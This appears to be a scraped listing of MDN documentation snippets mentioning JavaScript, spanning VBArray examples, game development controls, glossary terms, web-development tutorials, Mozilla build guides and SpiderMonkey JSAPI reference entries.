... <head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k k = k + 1 next next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vba) { var i; var a = new vbarray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { s += "the upper bound of dimension "; s += i + " is "; s += a.ubound(i); s += ".<br />"; } return(s); } --> </script> </head> <body> <script type="text/javascript"> document.write(vbarraytest(createvbarray())); </script> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards,...
VBArray.getItem - Archive of obsolete content
the second part is javascript code that iterates the visual basic safe array and prints out the contents of each element.
...the third part is the javascript code that goes in the <body> section to run the other two parts.
... <head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(i, j) = k document.writeln(k) k = k + 1 next document.writeln("<br>") next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function getitemtest(vbarray) { var i, j; var a = new vbarray(vbarray); for (i = 0; i <= 2; i++) { for (j =0; j <= 2; j++) { document.writeln(a.getitem(i, j)); } } } --> </script> </head> <body> <script type="text/javascript"> <!-- getitemtest(createvbarray()); --> </script> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, ...
VBArray.lbound - Archive of obsolete content
the second part is javascript code that determines the number of dimensions in the safe array and the lower bound of each dimension.
...the third part is the javascript code that goes in the <body> section to run the other two parts.
... <head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k k = k + 1 next next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vba){ var i; var a = new vbarray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { s += "the lower bound of dimension "; s += i + " is "; s += a.lbound(i); s += ".<br />"; } return (s); } --> </script> </head> <body> <script type="text/javascript"> document.write(vbarraytest(createvbarray())); </script> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards...
VBArray.ubound - Archive of obsolete content
the second part is javascript code that determines the number of dimensions in the safe array and the upper bound of each dimension.
...the third part is the javascript code that goes in the <body> section to run the other two parts.
... <head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k k = k + 1 next next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vba) { var i; var a = new vbarray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { s += "the upper bound of dimension "; s += i + " is "; s += a.ubound(i); s += ".<br />"; } return (s); } --> </script> </head> <body> <script type="text/javascript"> document.write(vbarraytest(createvbarray())); </script> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standard...
Async scripts for asm.js - Game development
in gecko, async compilation allows the javascript engine to compile the asm.js off the main thread when the game is loading and cache the generated machine code so that the game doesn't need to be compiled on subsequent loads (starting in firefox 28).
... to see the difference, toggle javascript.options.parallel_parsing in about:config.
... putting async into action getting async compilation is easy: when writing your javascript, just use the async attribute like so: <script async src="file.js"></script> or, to do the same thing via script: var script = document.createelement('script'); script.src = "file.js"; document.body.appendchild(script); (scripts created from script default to async.) the default html shell emscripten generates produces the latter.
Desktop gamepad controls - Game development
the gamepad api gives you the ability to connect a gamepad to your computer and detect pressed buttons directly from the javascript code thanks to the browsers implementing such feature.
... pure javascript approach let's think about implementing pure javascript gamepad controls in our little controls demo first to see how it would work.
...this is pure javascript code however too, so can be used in any other project no matter what framework was used.
Desktop mouse and keyboard controls - Game development
note: the captain rogers: battle at andromeda is built with phaser and managing the controls is phaser-based, but it could also be done in pure javascript.
... pure javascript approach let's think about implementing pure javascript keyboard/mouse controls in the game first to see how it would work.
... you can see this example in action online at end3r.github.io/javascript-game-controls and the full source code can be found at github.com/end3r/javascript-game-controls.
Mobile touch controls - Game development
note: the game captain rogers: battle at andromeda is built with phaser and managing the controls is phaser-based, but it could also be done in pure javascript.
... pure javascript approach we could implement touch events on our own — setting up event listeners and assigning relevant functions to them would be quite straightforward: var el = document.getelementsbytagname("canvas")[0]; el.addeventlistener("touchstart", handlestart); el.addeventlistener("touchmove", handlemove); el.addeventlistener("touchend", handleend); el.addeventlistener("touchcancel", handlecancel); this way, touching the game's <canvas> on the mobile screen would emit events, and thus we could manipulate the game in any way we want (for example, moving the space ship around).
... pure javascript demo let's implement the mobile support in a little demo available on github, so we can move the player's ship by touching the screen on a mobile device.
Tools for game development - Game development
asm.js asm.js is a very limited subset of the javascript language, which can be greatly optimized and run in an ahead-of-time (aot) compiling engine for much faster performance than your typical javascript performance.
... emscripten an llvm to javascript compiler; with emscripten, you can compile c++ and other languages that can compile to llvm bytecode into high-performance javascript.
... shumway shumway is a renderer for adobe flash built entirely in javascript, webgl, etc., bridging the gap between flash and web standards.
Constructor - MDN Web Docs Glossary: Definitions of Web-related terms
essentially, a constructor in javascript is usually declared at the instance of a class.
... syntax // this is a generic default constructor class default function default() { } // this is an overloaded constructor class overloaded // with parameter arguments function overloaded(arg1, arg2, ...,argn){ } to call the constructor of the class in javascript, use a new operator to assign a new object reference to a variable.
... function default() { } // a new reference of a default object assigned to a // local variable defaultreference var defaultreference = new default(); learn more general knowledge constructor on wikipedia technical reference the constructor in object oriented programming for javascript on mdn new operator in javascript on mdn ...
Falsy - MDN Web Docs Glossary: Definitions of Web-related terms
javascript uses type conversion to coerce any value to a boolean in contexts that require it, such as conditionals and loops.
...this slot only exists in document.all and cannot be set using javascript.
... examples examples of falsy values in javascript (which are coerced to false in boolean contexts, and thus bypass the if block): if (false) if (null) if (undefined) if (0) if (-0) if (0n) if (nan) if ("") the logical and operator, && if the first object is falsy, it returns that object false && "dog" // ↪ false 0 && "dog" // ↪ 0 specifications specification ecmascript (ecma-262)the definition of 'toboolean abstract operation' in that specification.
First-class Function - MDN Web Docs Glossary: Definitions of Web-related terms
example | assign a function to a variable javascript const foo = function() { console.log("foobar"); } // invoke it using the variable foo(); we assigned an anonymous function in a variable, then we used that variable to invoke the function by adding parentheses () at the end.
... example | pass a function as an argument javascript function sayhello() { return "hello, "; } function greeting(hellomessage, name) { console.log(hellomessage() + name); } // pass `sayhello` as an argument to `greeting` function greeting(sayhello, "javascript!"); we are passing our sayhello() function as an argument to the greeting() function, this explains how we are treating the function as a value.
... example | return a function javascript function sayhello() { return function() { console.log("hello!"); } } in this example; we need to return a function from another function - we can return a function because we treated function in javascript as a value.
Garbage collection - MDN Web Docs Glossary: Definitions of Web-related terms
often abbreviated "gc," garbage collection is a fundamental component of the memory management system used by javascript.
... learn more general knowledge memory management on wikipedia garbage collection on wikipedia technical reference garbage collection in the mdn javascript guide.
... memory management in javascript ...
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
the idl attribute is also known as a javascript property.
... these are the attributes you can read or set using javascript properties like element.foo.
...if you pass another type, it is automatically converted to a number as specified by the standard javascript rules for type conversion.
JSON - MDN Web Docs Glossary: Definitions of Web-related terms
javascript object notation (json) is a data-interchange format.
... although not a strict subset, json closely resembles a subset of javascript syntax.
... though many programming languages support json, json is especially useful for javascript-based apps, including websites and browser extensions.
Main thread - MDN Web Docs Glossary: Definitions of Web-related terms
by default, the browser uses a single thread to run all the javascript in your page, as well as to perform layout, reflows, and garbage collection.
... this means that long-running javascript functions can block the thread, leading to an unresponsive page and a bad user experience.
... unless intentionally using a web worker, such as a service worker, javascript runs on the main thread, so it's easy for a script to cause delays in event processing or painting.
Parse - MDN Web Docs Glossary: Definitions of Web-related terms
parsing means analyzing and converting a program into an internal format that a runtime environment can actually run, for example the javascript engine inside browsers.
...javascript is also downloaded, parsed, and then execute.
... javascript parsing is done during compile time or whenever the parser is invoked, such as during a call to a method.
Syntax error - MDN Web Docs Glossary: Definitions of Web-related terms
for example, if you leave off a closing brace (}) when defining a javascript function, you trigger a syntax error.
... browser development tools display javascript and css syntax errors in the console.
... learn more general knowledge syntax error on wikipedia syntaxerror javascript object ...
Tree shaking - MDN Web Docs Glossary: Definitions of Web-related terms
tree shaking is a term commonly used within a javascript context to describe the removal of dead code.
... it relies on the import and export statements in es2015 to detect if code modules are exported and imported for use between javascript files.
... in modern javascript applications, we use module bundlers (e.g., webpack or rollup) to automatically remove dead code when bundling multiple javascript files into single files.
Truthy - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, a truthy value is a value that is considered true when encountered in a boolean context.
... javascript uses type coercion in boolean contexts.
... examples of truthy values in javascript (which will be coerced to true in boolean contexts, and thus execute the if block): if (true) if ({}) if ([]) if (42) if ("0") if ("false") if (new date()) if (-42) if (12n) if (3.14) if (-3.14) if (infinity) if (-infinity) specifications specification ecmascript (ecma-262)the definition of 'toboolean abstract operation' in that specification.
Array - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript, arrays start at index zero and can be manipulated with various methods.
... what an array in javascript looks like: let myarray = [1, 2, 3, 4]; let catnamesarray = ["jacqueline", "sophia", "autumn"]; //arrays in javascript can hold different types of data, as shown above.
... learn more general knowledge array on wikipedia technical reference javascript array on mdn ...
Assessment: Accessibility troubleshooting - Learn web development
prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of the previous articles in the course.
...you could paste the html, css, and javascript into one of these online editors.
... html: a good basis for accessibility css and javascript accessibility best practices wai-aria basics accessible multimedia mobile accessibility accessibility troubleshooting ...
UI pseudo-classes - Learn web development
now finally, we've used some javascript to toggle the disabling of the billing address fields: // wait for the page to finish loading document.addeventlistener('domcontentloaded', function () { // attach `change` event listener to checkbox document.getelementbyid('billing-checkbox').addeventlistener('change', togglebilling); }, false); function togglebilling() { // select the billing text fields let billingitems = document.q...
...elements that are indeterminate include: <input/radio> inputs, when all radio buttons in a same-named group are unchecked <input/checkbox> inputs whose indeterminate property is set to true via javascript <progress> elements that have no value.
... previous overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for form widgets ...
Web forms — Working with user data - Learn web development
therefore, before you look at the other sections listed below we'd recommend that you go away and learn some css and javascript first.
... the above text is a good indicator as to why we've put web forms into its own standalone module, rather than trying to mix bits of it into the html, css, and javascript topic areas — form elements are more complex than most other html elements, and they also require a close marriage of related css and javascript techniques to get the most out of them.
... sending forms through javascript this article looks at ways to use a form to assemble an http request and send it via custom javascript, rather than standard form submission.
Using data attributes - Learn web development
</article> javascript access reading the values of these attributes out in javascript is also very simple.
...using the css selectors and javascript access here this allows you to build some nifty effects without having to write your own display routines.
... in firefox 49.0.2 (and perhaps earlier/later versions), the data attributes that exceed 1022 characters will not be read by javascript (ecmascript 4).
Test your skills: Events - Learn web development
note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
... dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript.
... the html should not be changed; just the javascript.
Arrays - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is.
... objective: to understand what arrays are and how to manipulate them in javascript.
... conclusion after reading through this article, we are sure you will agree that arrays seem pretty darn useful; you'll see them crop up everywhere in javascript, often in association with loops in order to do the same thing to every item in an array.
Aprender y obtener ayuda - Learn web development
for example: materials i need: a computer internet access pens and paper knowledge i need: how to use html, css, javascript, and associated tools and best practices to build web sites and web applications (we can definitely help you with this one!).
... also, it might be a good idea to have some sub-goals worked out to allow you to keep track of where you are more easily, for example: html and css basics learnt by summer javascript basics learnt by december example website project built by next april etc.
... if you want to find out more about a specific technology feature, such as the html <video> element, or the css background-color or opacity properties, or the javascript date.settime() method, you should just search for the feature's name.
What is web performance? - Learn web development
there are a lot of best practices to consider in making apps feel smooth, for example using css animations rather than javascript for animation, and minimizing the number of repaints the ui requires due to changes in the dom.
... to summarize, many features impact performance including latency, application size, the number of dom nodes, the number of resource requests made, javascript performance, cpu load, and more.
... measuring performance multimedia: images multimedia: video javascript performance best practices.
The "why" of web performance - Learn web development
building websites requires html, css, and javascript, typically including binary file types such as images and video.
...reducing html/css/javascript and media file sizes reduces both the time to load and a site's power consumption (see performance budgets).
... measuring performance multimedia: images multimedia: video javascript performance best practices.
Learning area release notes - Learn web development
may 2020 our understanding client-side javascript frameworks module is now available.
... learn why frameworks exist, when you should use one (and when you shouldn't), what kinds of features are common to all frameworks, and how they relate to the vanilla javascript you may already know.
... march 2020 you'll now find "test your skills" assessments accompanying the articles in the following modules: css building blocks javascript first steps javascript building blocks introducing javascript objects january 2020 the html forms module has been significantly updated: it has been retitled web forms, and moved out of the html topic area to recognise that it covers more than just html form elements — it also covers styling, validation, the basics of how to send data and process it on the server, and more besides.
Client-Server Overview - Learn web development
an html page usually references javascript and css pages), and will send separate http requests to download these files.
... understanding how static sites work is nevertheless useful when learning server-side programming, because dynamic sites handle requests for static files (css, javascript, static images, etc.) in exactly the same way.
... the web browser will then start to process the returned html, sending separate requests to get any other css or javascript files that it references (see step 7).
Starting our Svelte Todo list app - Learn web development
previous overview: client-side javascript frameworks next now that we have a basic understanding of how things work in svelte, we can start building our example app: a todo list.
... prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with e...
Cross browser testing - Learn web development
get started prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here.
... handling common javascript problems now we'll look at common cross-browser javascript problems and how to fix them.
... this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern javascript features working in older browsers, and more.
Accessibility API cross-reference
for receiving text input, see focused n/a armed armed available to javascript as document.activeelement indicates whether assistive technologies will present all, or only parts of, the changed region based on the change notifications defined by the aria-relevant attribute.
...ui controls, see armed focused focused focused available to javascript as document.activeelement appearance has changed for mouseover hottracked n/a n/a especially used for sliders, scrollbars, toolbars, tablists...
...ed n/a aria-disabled=true disabled (boolean attribute) especially used for sliders and scrollbars n/a vertical vertical aria-orientation=vertical accessible events msaa event (event_object_*, event_system_*) java accessibility event gnome accessibility signals mac os x accessibility event description & notes javascript relevant xul focus focus, focusin blur, focusout selection select state_change change (not sure if this is the same thing?) ...
Accessibility Features in Firefox
-- all with the keyboard detailed advanced javascript control: mozilla gives you the ability to fine tune what javascript is allowed to do while you browse.
...you can furthermore control javascript capabilities to remove scrollbars, toolbars or system buttons like minimize, close and maximize by editing the about:config related properties or by editing accordingly the user.js file as explained in this "disable other javascript window features" document.
... here are some examples of accessible extensions, although there are hundreds more to try (thank you to the gw micro knowledge base for some of this information): adblock plus removes ads (and other objects, like banners) from web pages greasemonkey lets you add bits of javascript ("user scripts") to any web page to change its behavior.
Browser chrome tests
the browser chrome test suite is an automated testing framework designed to allow testing of application chrome windows using javascript.
... it currently allows you to run javascript code in the same scope as the main firefox browser window and report results using the same functions as the mochitest test framework.
... writing browser chrome tests browser chrome tests are snippets of javascript code that run in the browser window's global scope.
Chrome registration
the javascript files that define the user interface are also contained within the content packages, as well as most xbl binding files.
... component component {00000000-0000-0000-0000-000000000000} components/mycomponent.js [flags] informs mozilla about a component cid implemented by an xpcom component implemented in javascript (or another scripting language, if applicable).
... if you need to call functions or access properties defined by the content -- for example, if your add-on wants to add a button to the page that calls a javascript function defined by the page.
Debugging on Windows
debugging javascript use venkman, the javascript debugger for mozilla.
... you can use helper functions from nsxpconnect.cpp to inspect and modify the state of javascript code from the msvs debugger.
... for example, to print curent javascript stack to stdout, evaluate this in quickwatch window: {,,xul}dumpjsstack() note: visual c++ will show you something in the quick watch window, but not the stack, you have to look in the os console for the output.
Configuring Build Options
ac_add_options --enable-debug enables assertions in c++ and javascript, plus other debug-only code.
... ac_add_options --enable-debug-js-modules enable only javascript assertions.
... this is useful when working locally on javascript-powered components like the devtools.
How Mozilla's build system works
for example, there is a tier for the netscape portable runtime (nspr), one for the javascript engine, one for the core gecko platform, one for the xul app being built, and so on.
... makefile examples standard makefile header installing headers using exports compiling interfaces using xpidlsrcs installing a javascript component building a component dll building a static library building a dynamic library makefiles - best practices and suggestions makefile - targets makefile - variables, values makefile - *.mk files & user config building libraries there are three main types of libraries that are built in mozilla: components are shared libraries (except in static builds), which are installed to dis...
... building jar files jar files are used for packaging chrome files (xul, javascript, and css).
Contributing to the Mozilla code base
project skills documentation/onboarding firefox browser (core layers) c++ firefox developers documentation firefox (front-end) javascript and/or html/css firefox developers documentation devtools javascript and/or html/css contribute to devtools add-ons javascript and/or html/css contribute to add-ons firefox focus for android java contribute to firefox focus for android firefox for fire tv java contribute to firefox for fire tv firefox preview (mobile browser,...
... codename: "fenix") kotlin contribute to firefox preview firefox for ios swift contribute to firefox for ios firefox focus for ios swift contribute to firefox focus for ios mozilla hubs javascript and/or html/css, vr contribute to mozilla hubs servo rust contribute to servo there are even many ways to contribute to the mozilla mission without programming.
...we'll be integrating some information from these pages soon, but until then you may find them interesting in their current form: a guide to learning the mozilla codebase a beginner's guide to spidermonkey, mozilla's javascript engine mozilla platform development cheatsheet (archive.org) ...
Error codes returned by Mozilla APIs
an error will typically be displayed on the error console, but can be captured using a try-catch block in javascript.
... javascript errors these errors typically occur when interfacing between javascript and native code, or to xpcom components.
...(0x80570017) ns_error_xpc_bad_iid (0x80570018) ns_error_xpc_cant_create_wn (0x80570019) ns_error_xpc_js_threw_exception (0x8057001a) ns_error_xpc_js_threw_native_object (0x8057001b) ns_error_xpc_js_threw_js_object (0x8057001c) ns_error_xpc_js_threw_null (0x8057001d) ns_error_xpc_js_threw_string (0x8057001e) ns_error_xpc_js_threw_number (0x8057001f) ns_error_xpc_javascript_error (0x80570020) ns_error_xpc_javascript_error_with_details (0x80570021) ns_error_xpc_cant_convert_primitive_to_array (0x80570022) ns_error_xpc_cant_convert_object_to_array (0x80570023) ns_error_xpc_not_enough_elements_in_array (0x80570024) ns_error_xpc_cant_get_array_info (0x80570025) ns_error_xpc_not_enough_chars_in_string (0x80570026) ns_error_xpc_security_manager...
ChromeWorker
setsubstitution('my-cool-addon', fileuri); var worker = new worker('resource://my-cool-addon/worker.js'); more references: you can use chromeworker from javascript code modules.
... see using workers in javascript code modules for details.
... see also using web workers using workers in javascript code modules worker sharedworker web workers specification workerglobalscope github :: chromeworker - a fully working demo addon using js-ctypes from a chrome worker.
Embedding the editor
xbl creates an nseditorboxobject for each <editor> tag, and allows javascript to access properties of this box object (such as the nsieditorshell).
...thence, lots of javascript in editor.js, composercommands.js and the various dialog js files assume that they can get at the one true editor via window.editorshell.
...can it be in javascript?
Embedding Tips
nscomptr<nsiwindowwatcher> wwatch(do_getservice(ns_windowwatcher_contractid)); if (wwatch) { wwatch->setwindowcreator(mywindowcreator); } i need the javascript inside the browser window to talk to my embedding client.
... at startup use the category manager to register properties of the global object in javascript like this: nscomptr<nsicategorymanager> catman = do_getservice(ns_categorymanager_contractid); if (!catman) return ns_error_failure; nsxpidlcstring previous; catman->addcategoryentry(javascript_global_property_category, "my_prop_name", "my_prop_contract_id", pr_true, pr_true, getter_copies(previous)); this will cause a component with the contract id my_prop_contract_id to be lazily created when the my_prop_name is resolved in any javascript window scope.
... if you want to create your component multiple times within the browser window, you can use a javascript constructor instead of a javascript property: catman->addcategoryentry("javascript global constructor", "my_prop_name", "my_prop_contract_id", pr_true, pr_true, getter_copies(previous)); that way you will be able to do: var my_comp = new my_prop_name(); this was taken from weirdal's excellent "burning chrome" article.
OS.File.Info
before deprecation, this used to be the date at which the file was created on windows and mac os x, as a javascript date object.
...on older unix filesystems it is not possible to get a creation date as it was never stored, on new unix filesystems creation date is stored but the method to obtain this date differs per filesystem, bugzilla :: bug 1167143 explores implementing solutions for all these different filesystems) lastaccessdate the date at which the file was last accessed, as a javascript date object.
... lastmodificationdate the date at which the file was last modified, as a javascript date object.
OSFile.jsm
javascript module os.file contains primitives for manipulating files out of the main thread.
... os.file is a new api designed for efficient, off-main thread, manipulation of files by privileged javascript code.
... this api is intended to replace, in time, most xpcom-based manipulation of files (nsifile, subsets of nsiioservice, etc.) by javascript code.
Services.jsm
the services.jsm javascript code module offers a wide assortment of lazy getters that simplify the process of obtaining references to commonly used services.
... to use it, you first need to import the code module into your javascript scope: const {services} = chromeutils.import("resource://gre/modules/services.jsm"); then you can obtain references to services by simply accessing them from the services object exported by the code module.
...rvice observer service perms nsipermissionmanager permission manager service ppmm nsimessagebroadcaster nsiprocessscriptloader global parent process message manager3 prefs nsiprefbranch nsiprefbranch2 nsiprefservice preferences service prompt nsipromptservice prompt service scriptloader mozijssubscriptloader javascript subscript loader service scriptsecuritymanager nsiscriptsecuritymanager script security manager search nsibrowsersearchservice browser search service startup nsiappstartup application startup service storage mozistorageservice storage api service strings nsistringbundleservice string bundle service sysinfo nsip...
source-editor.jsm
the source-editor.jsm javascript code module implements an editor specifically tailored for editing source code; its primary purpose is to provide support for web developer tools to display and edit web site code.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource:///modules/source-editor.jsm"); warning: much of the functionality of the source editor is implemented by a secondary code module (by default, source-editor-orion.jsm).
... sourceeditor.modes.javascript "js" javascript source code.
Leak-hunting strategies and tips
xpconnect allows an xpcom object to be exposed to javascript, and it allows certain javascript objects to be exposed to c++ code as normal xpcom objects.
... when a c++ object is exposed to javascript (the more common of the two), an xpcwrappednative object is created.
... this wrapper owns a reference to the native object until the corresponding javascript object is garbage-collected.
TraceMalloc
also, your javascript can call the following dom window methods: tracemallocdisable() - turn off tracing, first flushing any buffered log events for all log files.
...detecting memory usage growth in a running process to do this, dump the existing allocations to a file by calling the function tracemallocdumpallocations from javascript.
...<script type="text/javascript"> var filename = window.prompt("filename to log: "); if (filename) tracemallocdumpallocations(filename); </script> one can then use the script tools/trace-malloc/diffbloatdump.pl to compare trace-malloc dumps before and after doing an action that might leak.
Performance
profiling with zoom zoom is a profiler for linux done by the people who made shark measuring performance using the perfmeasurement.jsm code module using perfmeasurement.jsm to measure performance data in your javascript code.
... adding a new telemetry probe information on how to add a new measurement to the telemetry performance-reporting system profiling javascript with shark (obsolete - replaced by instruments) how to use the mac os x shark profiler to profile javascript code in firefox 3.5 or later.
... related topics javascript, xpcom, developing mozilla, extensions, addons ...
NSS Tools modutil
see the section jar installation file for information on creating the special script needed to perform an installation through a server or with the security module database tool (that is, in environments without javascript support).
... for general installation instructions and to install a module in environments where javascript support is available (as in netscape communicator), see the document using the jar installation manager to install a pkcs #11 cryptographic module.
...ename [-slot slotname] enabling or disabling fips 140-2 compliance within the netscape communicator internal module: -fips [true | false] disabling interactive prompts for the security module database tool, to support scripted operation: -force jar installation file when a jar file is run by a server, by the security module database tool, or by any program that does not interpret javascript, a special information file must be included in the format described below.
Getting SpiderMonkey source code
getting older spidermonkey sources from cvs note: you will need to explicitly fetch the javascript shell sources even if you currently build another mozilla project, as there are files specific to the shell that are not normally found in a mozilla source tree.
... once you've logged in, cd into the root of your cvs tree and enter the following command: cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co -l mozilla/js/src mozilla/js/src/config mozilla/js/src/editline mozilla/js/src/fdlibm this checks out all the files needed in order to build the javascript shell.
...you can use a javascript branch name (e.g.
Self-hosted builtins in SpiderMonkey
since firefox 17, spidermonkey has the ability to self-host built-in functions in javascript.
... differences from normal javascript all self-hosted code is strict, so self-hosted functions invoked in a null or undefined scope won't be run in the scope of the global object.
... debugging self-hosted code self-hosted code by default is hidden from client javascript code; in particular, self-hosted frames will be filtered out of the stack traces of exceptions.
JS::CompileOptions
version jsversion javascript version used to compile the script.
... "javascripturl" - code presented in javascript: urls.
...thus, instances of this type can't be owned, directly or indirectly, by a javascript object: if any value that this roots ever comes to refer to the object that owns this, then the whole cycle, and anything else it entrains, will never be freed.
JS::GetSelfHostedFunction
this article covers features introduced in spidermonkey 31 create a new javascript function that is implemented in self-hosted javascript.
... selfhostedname const char* function name in the self-hosted javascript.
... description js::getselfhostedfunction creates a new javascript function implemented in self-hosted javascript.
JSExtendedClass.wrappedObject
obsolete since javascript 1.8.5this feature is obsolete.
...in a few cases the javascript engine will pretend the wrapper isn't there, instead operating on the object it wraps.
...(the result may be "object", "function", or "xml".) when assigning to __proto__ or __parent__ from script, the javascript engine checks to see if the assignment would produce a cycle.
JSObjectOps.defaultValue
obsolete since javascript 1.8.5this feature is obsolete.
... the javascript engine calls the jsobjectops.defaultvalue and jsclass.convert callbacks to convert objects to primitive values.
...it calls the javascript methods obj.valueof() and/or obj.tostring().
JSPropertyDescriptor
value describes the value of the specified property, which can be any valid javascript value (function, object, string...) configurable declare that the property can be modified and deleted enumerable declare that the property can be enumerated, and the enumerable genus can be traversed by the for...in loop.
... examples the following example demonstrates how to use the object.defineproperty() function to create a property under an object in a javascript via a descriptor.
... var language = {}; // define an empty object language object.defineproperty(language, 'log', { // define the log attribute under the language object value : ['cn','en'], writable : true, enumerable : true, configurable : true }) in the above example we defined a writable, deletable enumerable property.this is the same as the javascript directly defined property.
JSRuntime
in the jsapi, jsruntime is the top-level object that represents an instance of the javascript engine.
...the jsruntime is the universe in which javascript objects live; they can't travel to other jsruntimes.
... all javascript code and most jsapi calls run within a jscontext.
JSVAL_IS_BOOLEAN
determines if a given jsval is a javascript boolean.
... syntax jsval_is_boolean(v) description jsval_is_boolean(v) is true if the given javascript value, v, is a boolean value (that is, it is either jsval_true or jsval_false).
... to convert between javascript boolean values (jsval) and c boolean values, use jsval_to_boolean and boolean_to_jsval.
JSVAL_IS_NUMBER
determine if a given jsval is a javascript number.
... syntax jsval_is_number(v) description jsval_is_number(v) is true if v is a javascript number.
...example the following code snippet illustrates how a javascript variable, myitem, is conditionally tested in an if statement to see if it is a js integer or double value.
JSVAL_IS_VOID
determines if a given jsval is the javascript value undefined.
... syntax jsval_is_void(v) description jsval_is_void(v) is true if v is jsval_void, which represents the javascript value undefined.
... example the following code snippet illustrates how a javascript variable, myitem, is conditionally tested in an if statement to see if it is void.
JSVersion
the values of the jsversion enumerated type stand for particular versions of the javascript run-time.
... enumeration value meaning name jsversion_1_0obsolete since jsapi 24 100 javascript 1.0 "1.0" jsversion_1_1obsolete since jsapi 24 110 javascript 1.1 "1.1" jsversion_1_2obsolete since jsapi 24 120 javascript 1.2 "1.2" jsversion_1_3obsolete since jsapi 24 130 javascript 1.3 "1.3" jsversion_1_4obsolete since jsapi 24 140 javascript 1.4 "1.4" jsversion_ecma_3 148 ecma 262 edition 3 "ecmav3" jsversion_1...
..._5obsolete since jsapi 24 150 javascript 1.5 "1.5" jsversion_1_6 160 javascript 1.6 "1.6" jsversion_1_7 170 javascript 1.7 "1.7" jsversion_1_8 180 javascript 1.8 "1.8" jsversion_ecma_5 185 ecma 262 edition 5 "ecmav5" jsversion_default 0 latest javascript version, but omitting web-incompatible extensions "default" jsversion_unknown -1 unknown javascript version null jsversion_latest jsversion_ecma_5 latest javascript version null see also mxr id search for jsversion js_getversion js_setversion js_stringtoversion js_versiontostring bug 824312 ...
JS_EncodeString
this article covers features introduced in spidermonkey 1.8 convert a javascript string to a c string.
... description js_encodestring and js_encodestringtoutf8 convert the specified javascript str to a c string (an array of 8-bit chars).
...use js_getstringchars to access the 16-bit characters of a javascript string without conversions or copying.
JS_FS
name type description name const char * the javascript name for the function.
... (or index, if jsprop_index is present in flags) symbol a member name of js::symbolcode the javascript symbol for the function.
... selfhostedname const char * the function's name in self-hosted javascript code.
JS_GetFunctionArity
syntax uint16_t js_getfunctionarity(jsfunction *fun); name type description fun jsfunction * a javascript function.
...otherwise fun is implemented in javascript, and the result is the number of identifiers in its formal parameter list (see ecma 262-3 §13).
... note that it is not an error per se to call a javascript function with more or fewer actual arguments than its arity.
JS_GetFunctionObject
description js_getfunctionobject returns the javascript function object for a specified function pointer, fun.
... in the javascript language, functions are objects.
... however, for other functions, and particularly for javascript closures, many jsobjects may share the same jsfunction.
JS_GetPropertyAttrsGetterAndSetter
the js_getter (or js_setter) attribute indicates that the property's getter (or setter) is a javascript function, not a c/c++ function.
... when this attribute is present, the value stored in getterp (or setterp) does not really point to a c/c++ function; it is a jsobject *, pointing to a javascript function, cast to type jspropertyop.
...for more information about javascript getters and setters, see defining getters and setters.
JS_GetReservedSlot
reserved slots may also contain private values to store pointer values (whose lowest bit is 0) or uint32_t, when non-javascript values must be stored; the garbage collector ignores such values when it sees them.
... (note that private values must not be exposed directly to javascript.
...they cannot be returned from functions, set as properties on objects, embedded in javascript arrays, and so on.) new objects' reserved slots are initialized to undefined.
JS_GetScopeChain
obsolete since javascript 1.8.7this feature is obsolete.
... retrieves the scope chain for the javascript code currently running in a given context.
... description js_getscopechain returns the first jsobject on the scope chain for the javascript code currently running in the given context, cx.
JS_NewDependentString
create a new javascript string containing a range of characters from an existing string.
... description js_newdependentstring creates a new string as a substring of an existing javascript string, str.
... the new string contains the same characters as if it were created with the javascript method str.substr(start, length).
JS_NewFunction
create a new javascript function that is implemented in c/c++ as a jsnative.
...added in spidermonkey 17 description js_newfunction creates a new javascript function implemented in c/c++.
... (to create a new function implemented in javascript, use js_compilefunction instead.) call is a c/c++ function pointer that the new function wraps.
JS_NewUCString
the javascript engine adopts the buffer.
...on success, the javascript engine adopts responsibility for memory management of this region.
...this allows the javascript engine to avoid needless data copying.
JS_NewStringCopyN
description js_newstringcopyn allocates space for a javascript string and its underlying storage, and copies n characters from a c character array, s, into the new jsstring.
...the two functions differ only in the type of the character array s; both functions create ordinary javascript strings, and all javascript strings are made up of 16-bit characters.
